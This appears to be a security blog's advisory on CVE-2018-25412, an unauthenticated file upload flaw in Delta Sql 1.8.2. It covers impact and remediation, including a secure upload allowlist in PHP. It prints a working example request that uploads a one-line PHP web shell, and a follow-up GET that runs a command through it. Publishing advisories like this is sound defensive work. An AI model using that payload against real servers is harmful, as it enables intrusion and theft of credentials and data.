Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsStudyTraining
ProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Study
Training
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

1310+ Articles
157+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2018-25412: Arbitrary File Upload RCE in Delta Sql 1.8.2
CVE-2018-25412: Arbitrary File Upload RCE in Delta Sql 1.8.2

Critical Security Alert

This vulnerability is actively being exploited. Immediate action is recommended.

SECURITYCRITICALCVE-2018-25412

CVE-2018-25412: Arbitrary File Upload RCE in Delta Sql 1.8.2

A critical unauthenticated arbitrary file upload vulnerability in Delta Sql 1.8.2 allows attackers to upload malicious PHP files and achieve remote code...

Dylan H.

Security Team

May 31, 2026
4 min read

Affected Products

  • Delta Sql 1.8.2

CVE-2018-25412: Arbitrary File Upload in Delta Sql 1.8.2

A critical arbitrary file upload vulnerability originally discovered in 2018 has been formally assigned as CVE-2018-25412 and catalogued in the NVD database with a CVSS score of 9.8 (Critical). The flaw affects Delta Sql version 1.8.2, a PHP-based SQL administration tool.

The vulnerability allows unauthenticated attackers to upload arbitrary files — including PHP web shells — by sending crafted POST requests to the docs_upload.php endpoint. Once uploaded, these files can be executed by the web server, resulting in remote code execution (RCE) with the privileges of the web server process.


Vulnerability Overview

AttributeValue
CVE IDCVE-2018-25412
CVSS Score9.8 (Critical)
CWE ClassificationCWE-434 — Unrestricted Upload of File with Dangerous Type
Affected SoftwareDelta Sql 1.8.2
Attack VectorNetwork
Authentication RequiredNone (unauthenticated)
NVD PublishedMay 30, 2026
Original Flaw Discovery2018

Technical Details

The vulnerability exists in docs_upload.php, which processes multipart form data for file uploads without validating the file type, extension, or content. An unauthenticated attacker can send a crafted POST request with a malicious PHP file disguised as a document upload.

Example attack vector:

POST /docs_upload.php
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------Boundary--

After upload, the PHP file is accessible in the upload directory and can be executed directly:

GET /upload/shell.php?cmd=whoami

Successful exploitation allows an attacker to:

  • Execute arbitrary commands on the server with web server privileges
  • Read sensitive files including database credentials, configuration files, and source code
  • Establish persistent access by planting additional web shells or backdoors
  • Pivot to internal network resources accessible from the compromised server
  • Escalate privileges if local privilege escalation vulnerabilities are also present

Context and Impact

Delta Sql is a PHP-based database management interface primarily used by developers and administrators as a lightweight alternative to phpMyAdmin. Version 1.8.2 is a legacy release and is unlikely to be widely deployed in production environments in 2026. The late NVD publication of this 2018 vulnerability reflects ongoing efforts to formally catalogue legacy security flaws.

Who is affected:

  • Self-hosted Delta Sql 1.8.2 installations exposed to the internet
  • Development environments running outdated Delta Sql instances
  • Any web hosting environments where Delta Sql 1.8.2 was bundled with web applications

Practical risk: The CVSS 9.8 score reflects the maximum severity: unauthenticated, network-exploitable, and resulting in full system compromise. Any public-facing installation of Delta Sql 1.8.2 should be considered fully compromised if accessible without authentication.


Remediation

  1. Upgrade or decommission — update Delta Sql to a patched version or replace with a maintained database administration tool such as phpMyAdmin or Adminer
  2. Restrict network access — place database administration interfaces behind VPN or IP allowlisting; these tools should never be internet-facing
  3. Validate file uploads — any custom fork should implement strict allowlisting of permitted file extensions and MIME type validation before accepting uploads
  4. Scan for existing shells — audit the upload directory for any existing PHP files that may have been placed by prior exploitation

Secure upload pattern:

// Vulnerable pattern
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
 
// Secure pattern — extension allowlist
$allowed = ['pdf', 'doc', 'txt'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
    die('File type not permitted');
}
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . basename($_FILES['file']['name']));

Key Takeaways

  1. CVE-2018-25412 is a CVSS 9.8 Critical arbitrary file upload flaw in Delta Sql 1.8.2, now formally catalogued in NVD
  2. No authentication required — any attacker with network access to the endpoint can upload and execute PHP files
  3. Full RCE — successful exploitation gives command execution with web server privileges
  4. Remediation: Upgrade to a patched version, restrict network access, or decommission the installation

Sources

  • CVE-2018-25412 — NIST NVD
#CVE-2018-25412#File Upload#Remote Code Execution#NVD#Web Security#Vulnerability

Related Articles

CVE-2018-25405: Multiple SQL Injections in eNdonesia Portal 8.7

Multiple unauthenticated SQL injection vulnerabilities in eNdonesia Portal 8.7 allow attackers to extract sensitive database contents via the artid, cid,...

4 min read

CVE-2018-25406: SQL Injection Across eNdonesia Portal 8.7 Modules

Multiple unauthenticated SQL injection vulnerabilities in eNdonesia Portal 8.7 expose the publisher, artikel, and info modules to database extraction...

4 min read

CVE-2018-25411: SQL Injection in MGB OpenSource Guestbook 0.7.0.2

An unauthenticated SQL injection vulnerability in MGB OpenSource Guestbook 0.7.0.2 allows attackers to extract sensitive database contents via the 'id'...

4 min read
Back to all Security Alerts